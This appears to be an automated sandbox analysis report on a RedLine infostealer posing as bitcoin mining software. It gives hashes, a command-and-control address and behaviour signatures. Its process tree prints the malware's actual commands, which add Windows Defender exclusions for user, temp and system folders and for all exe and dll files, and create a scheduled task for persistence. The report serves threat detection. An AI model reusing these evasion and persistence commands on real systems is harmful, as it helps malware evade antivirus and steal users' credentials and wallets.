redline | 773b40c8007545afd1b563bdf17dab8225acd4bd6def35e4db95f70fca16371c

Analysis

max time kernel
122s
max time network
124s
platform
windows10_x64
resource
win10-en-20211014
submitted
23/10/2021, 15:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Bitcoin Mining Software 1.5v.exe
Size 4.6MB
Sample211023-s8rw4adcep
SHA256 773b40c8007545afd1b563bdf17dab8225acd4bd6def35e4db95f70fca16371c
MD5 c9b0c2b2a7988eb97f7069bb423a7ffa
SHA1 85d72dd1cdf60d9dd4c2696d950e63d163102c37
SHA512 88dfcec430d3cbb3eaf63611373f38a17a0a752d2d42566310d7f5275acbb8d82cfa3e8e58def6b0ed4e10e062f8e77fd2b7536c0931a1a8ddaba89a236c4e92
MD5 SHA1 SHA512

Score

10^/10

redline @estetikasell infostealer spyware vmprotect

Malware Config

Extracted

Family

redline

Botnet

@EstetikaSell

185.209.22.181:29234

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 2 IoCs

resource	yara_rule
behavioral2/memory/820-122-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral2/memory/820-127-0x0000000000419A6E-mapping.dmp	family_redline

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3684 created 3568	3684	WerFault.exe	68

Downloads MZ/PE file

Executes dropped EXE 3 IoCs

pid	Process
1376	build.exe
3192	services32.exe
2172	sihost32.exe

VMProtect packed file 4 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral2/files/0x000500000001abad-415.dat	vmprotect
behavioral2/files/0x000500000001abad-416.dat	vmprotect
behavioral2/files/0x000600000001abb2-520.dat	vmprotect
behavioral2/files/0x000600000001abb2-521.dat	vmprotect

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3568 set thread context of 820	3568	Bitcoin Mining Software 1.5v.exe	69

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3684	3568	WerFault.exe	68

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
748	schtasks.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
3568	Bitcoin Mining Software 1.5v.exe
3568	Bitcoin Mining Software 1.5v.exe
3568	Bitcoin Mining Software 1.5v.exe
3568	Bitcoin Mining Software 1.5v.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
3684	WerFault.exe
820	AppLaunch.exe
1376	build.exe
1376	build.exe
1724	conhost.exe
3052	powershell.exe
3052	powershell.exe
3052	powershell.exe
3324	powershell.exe
3324	powershell.exe
3324	powershell.exe
3192	services32.exe
3192	services32.exe
1676	conhost.exe
1676	conhost.exe
1192	powershell.exe
1192	powershell.exe
1192	powershell.exe
900	powershell.exe
900	powershell.exe
900	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	3684	WerFault.exe
Token: SeBackupPrivilege	3684	WerFault.exe
Token: SeDebugPrivilege	3684	WerFault.exe
Token: SeDebugPrivilege	820	AppLaunch.exe
Token: SeDebugPrivilege	1724	conhost.exe
Token: SeDebugPrivilege	3052	powershell.exe
Token: SeIncreaseQuotaPrivilege	3052	powershell.exe
Token: SeSecurityPrivilege	3052	powershell.exe
Token: SeTakeOwnershipPrivilege	3052	powershell.exe
Token: SeLoadDriverPrivilege	3052	powershell.exe
Token: SeSystemProfilePrivilege	3052	powershell.exe
Token: SeSystemtimePrivilege	3052	powershell.exe
Token: SeProfSingleProcessPrivilege	3052	powershell.exe
Token: SeIncBasePriorityPrivilege	3052	powershell.exe
Token: SeCreatePagefilePrivilege	3052	powershell.exe
Token: SeBackupPrivilege	3052	powershell.exe
Token: SeRestorePrivilege	3052	powershell.exe
Token: SeShutdownPrivilege	3052	powershell.exe
Token: SeDebugPrivilege	3052	powershell.exe
Token: SeSystemEnvironmentPrivilege	3052	powershell.exe
Token: SeRemoteShutdownPrivilege	3052	powershell.exe
Token: SeUndockPrivilege	3052	powershell.exe
Token: SeManageVolumePrivilege	3052	powershell.exe
Token: 33	3052	powershell.exe
Token: 34	3052	powershell.exe
Token: 35	3052	powershell.exe
Token: 36	3052	powershell.exe
Token: SeDebugPrivilege	3324	powershell.exe
Token: SeIncreaseQuotaPrivilege	3324	powershell.exe
Token: SeSecurityPrivilege	3324	powershell.exe
Token: SeTakeOwnershipPrivilege	3324	powershell.exe
Token: SeLoadDriverPrivilege	3324	powershell.exe
Token: SeSystemProfilePrivilege	3324	powershell.exe
Token: SeSystemtimePrivilege	3324	powershell.exe
Token: SeProfSingleProcessPrivilege	3324	powershell.exe
Token: SeIncBasePriorityPrivilege	3324	powershell.exe
Token: SeCreatePagefilePrivilege	3324	powershell.exe
Token: SeBackupPrivilege	3324	powershell.exe
Token: SeRestorePrivilege	3324	powershell.exe
Token: SeShutdownPrivilege	3324	powershell.exe
Token: SeDebugPrivilege	3324	powershell.exe
Token: SeSystemEnvironmentPrivilege	3324	powershell.exe
Token: SeRemoteShutdownPrivilege	3324	powershell.exe
Token: SeUndockPrivilege	3324	powershell.exe
Token: SeManageVolumePrivilege	3324	powershell.exe
Token: 33	3324	powershell.exe
Token: 34	3324	powershell.exe
Token: 35	3324	powershell.exe
Token: 36	3324	powershell.exe
Token: SeDebugPrivilege	1676	conhost.exe
Token: SeDebugPrivilege	1192	powershell.exe
Token: SeIncreaseQuotaPrivilege	1192	powershell.exe
Token: SeSecurityPrivilege	1192	powershell.exe
Token: SeTakeOwnershipPrivilege	1192	powershell.exe
Token: SeLoadDriverPrivilege	1192	powershell.exe
Token: SeSystemProfilePrivilege	1192	powershell.exe
Token: SeSystemtimePrivilege	1192	powershell.exe
Token: SeProfSingleProcessPrivilege	1192	powershell.exe
Token: SeIncBasePriorityPrivilege	1192	powershell.exe
Token: SeCreatePagefilePrivilege	1192	powershell.exe
Token: SeBackupPrivilege	1192	powershell.exe
Token: SeRestorePrivilege	1192	powershell.exe
Token: SeShutdownPrivilege	1192	powershell.exe
Token: SeDebugPrivilege	1192	powershell.exe

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 3568 wrote to memory of 820	3568	Bitcoin Mining Software 1.5v.exe	69
PID 3568 wrote to memory of 820	3568	Bitcoin Mining Software 1.5v.exe	69
PID 3568 wrote to memory of 820	3568	Bitcoin Mining Software 1.5v.exe	69
PID 3568 wrote to memory of 820	3568	Bitcoin Mining Software 1.5v.exe	69
PID 3568 wrote to memory of 820	3568	Bitcoin Mining Software 1.5v.exe	69
PID 820 wrote to memory of 1376	820	AppLaunch.exe	73
PID 820 wrote to memory of 1376	820	AppLaunch.exe	73
PID 1376 wrote to memory of 1724	1376	build.exe	74
PID 1376 wrote to memory of 1724	1376	build.exe	74
PID 1376 wrote to memory of 1724	1376	build.exe	74
PID 1724 wrote to memory of 3772	1724	conhost.exe	75
PID 1724 wrote to memory of 3772	1724	conhost.exe	75
PID 3772 wrote to memory of 3052	3772	cmd.exe	77
PID 3772 wrote to memory of 3052	3772	cmd.exe	77
PID 1724 wrote to memory of 3116	1724	conhost.exe	78
PID 1724 wrote to memory of 3116	1724	conhost.exe	78
PID 3116 wrote to memory of 748	3116	cmd.exe	80
PID 3116 wrote to memory of 748	3116	cmd.exe	80
PID 3772 wrote to memory of 3324	3772	cmd.exe	82
PID 3772 wrote to memory of 3324	3772	cmd.exe	82
PID 1724 wrote to memory of 3644	1724	conhost.exe	83
PID 1724 wrote to memory of 3644	1724	conhost.exe	83
PID 3644 wrote to memory of 3192	3644	cmd.exe	85
PID 3644 wrote to memory of 3192	3644	cmd.exe	85
PID 3192 wrote to memory of 1676	3192	services32.exe	88
PID 3192 wrote to memory of 1676	3192	services32.exe	88
PID 3192 wrote to memory of 1676	3192	services32.exe	88
PID 1676 wrote to memory of 2080	1676	conhost.exe	89
PID 1676 wrote to memory of 2080	1676	conhost.exe	89
PID 2080 wrote to memory of 1192	2080	cmd.exe	91
PID 2080 wrote to memory of 1192	2080	cmd.exe	91
PID 1676 wrote to memory of 2172	1676	conhost.exe	92
PID 1676 wrote to memory of 2172	1676	conhost.exe	92
PID 2080 wrote to memory of 900	2080	cmd.exe	93
PID 2080 wrote to memory of 900	2080	cmd.exe	93
PID 2172 wrote to memory of 4080	2172	sihost32.exe	94
PID 2172 wrote to memory of 4080	2172	sihost32.exe	94
PID 2172 wrote to memory of 4080	2172	sihost32.exe	94

C:\Users\Admin\AppData\Local\Temp\Bitcoin Mining Software 1.5v.exe
"C:\Users\Admin\AppData\Local\Temp\Bitcoin Mining Software 1.5v.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3568
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:820
- - C:\Users\Admin\AppData\Local\Temp\build.exe
    "C:\Users\Admin\AppData\Local\Temp\build.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1376
  - - C:\Windows\System32\conhost.exe
      "C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\build.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1724
    - - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3772
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3052
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3324
    - - C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\services32.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3116
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\services32.exe"
        6⤵
        Creates scheduled task(s)
        
        PID:748
    - - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\services32.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3644
      - C:\Users\Admin\services32.exe
        
        C:\Users\Admin\services32.exe
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3192
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\\conhost.exe" "C:\Users\Admin\services32.exe"
        7⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1676
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2080
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        9⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1192
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:900
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2172
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\\conhost.exe" "/sihost32"
        9⤵
        
        PID:4080
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3568 -s 212
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - Program crash
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3684

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/820-139-0x0000000000430000-0x0000000000431000-memory.dmp

Download

memory/820-130-0x0000000000430000-0x0000000000431000-memory.dmp

Download

memory/820-134-0x00000000066F0000-0x00000000066F1000-memory.dmp

Download

memory/820-135-0x0000000008D90000-0x0000000008D91000-memory.dmp

Download

memory/820-136-0x0000000008CC0000-0x0000000008CC1000-memory.dmp

Download

memory/820-137-0x0000000008C80000-0x0000000009286000-memory.dmp

Download

memory/820-138-0x0000000008D00000-0x0000000008D01000-memory.dmp

Download

memory/820-128-0x0000000000430000-0x0000000000431000-memory.dmp

Download

memory/820-143-0x0000000009050000-0x0000000009051000-memory.dmp

Download

memory/820-144-0x0000000009170000-0x0000000009171000-memory.dmp

Download

memory/820-145-0x0000000009DA0000-0x0000000009DA1000-memory.dmp

Download

memory/820-146-0x0000000009130000-0x0000000009131000-memory.dmp

Download

memory/820-149-0x0000000009BA0000-0x0000000009BA1000-memory.dmp

Download

memory/820-122-0x0000000000400000-0x000000000041E000-memory.dmp

Download

memory/820-131-0x0000000000400000-0x0000000000401000-memory.dmp

Download

memory/820-133-0x0000000009290000-0x0000000009291000-memory.dmp

Download

memory/820-129-0x0000000000430000-0x0000000000431000-memory.dmp

Download

memory/900-608-0x0000018F77C43000-0x0000018F77C45000-memory.dmp

Download

memory/900-607-0x0000018F77C40000-0x0000018F77C42000-memory.dmp

Download

memory/900-635-0x0000018F77C48000-0x0000018F77C49000-memory.dmp

Download

memory/900-634-0x0000018F77C46000-0x0000018F77C48000-memory.dmp

Download

memory/1192-606-0x00000277254A8000-0x00000277254A9000-memory.dmp

Download

memory/1192-591-0x00000277254A6000-0x00000277254A8000-memory.dmp

Download

memory/1192-553-0x00000277254A3000-0x00000277254A5000-memory.dmp

Download

memory/1192-551-0x00000277254A0000-0x00000277254A2000-memory.dmp

Download

memory/1376-420-0x00007FFA4AA00000-0x00007FFA4AA02000-memory.dmp

Download

memory/1676-549-0x00000265422C3000-0x00000265422C5000-memory.dmp

Download

memory/1676-550-0x00000265422C6000-0x00000265422C7000-memory.dmp

Download

memory/1676-548-0x00000265422C0000-0x00000265422C2000-memory.dmp

Download

memory/1724-430-0x00000283F3FD0000-0x00000283F3FD2000-memory.dmp

Download

memory/1724-429-0x00000283F1950000-0x00000283F195F000-memory.dmp

Download

memory/1724-431-0x00000283F3FD3000-0x00000283F3FD5000-memory.dmp

Download

memory/1724-432-0x00000283F3FD6000-0x00000283F3FD7000-memory.dmp

Download

memory/3052-451-0x0000023DD2063000-0x0000023DD2065000-memory.dmp

Download

memory/3052-485-0x0000023DD2068000-0x0000023DD2069000-memory.dmp

Download

memory/3052-452-0x0000023DD2066000-0x0000023DD2068000-memory.dmp

Download

memory/3052-450-0x0000023DD2060000-0x0000023DD2062000-memory.dmp

Download

memory/3324-488-0x0000020CF93F3000-0x0000020CF93F5000-memory.dmp

Download

memory/3324-486-0x0000020CF93F0000-0x0000020CF93F2000-memory.dmp

Download

memory/3324-515-0x0000020CF93F8000-0x0000020CF93F9000-memory.dmp

Download

memory/3324-514-0x0000020CF93F6000-0x0000020CF93F8000-memory.dmp

Download

memory/3568-116-0x00000000015C0000-0x00000000015C1000-memory.dmp

Download

memory/3568-121-0x0000000001000000-0x0000000001491000-memory.dmp

Download

memory/3568-119-0x00000000019D0000-0x00000000019D1000-memory.dmp

Download

memory/3568-117-0x00000000015E0000-0x00000000015E1000-memory.dmp

Download

memory/3568-118-0x00000000015F0000-0x00000000015F1000-memory.dmp

Download

memory/3568-120-0x0000000001AF0000-0x0000000001AF1000-memory.dmp

Download

memory/3568-115-0x00000000015B0000-0x00000000015B1000-memory.dmp

Download

memory/4080-644-0x000001F09C8B0000-0x000001F09C8B2000-memory.dmp

Download

memory/4080-643-0x000001F09AC60000-0x000001F09AC67000-memory.dmp

Download

memory/4080-645-0x000001F09C8B3000-0x000001F09C8B5000-memory.dmp

Download

memory/4080-646-0x000001F09C8B6000-0x000001F09C8B7000-memory.dmp

Download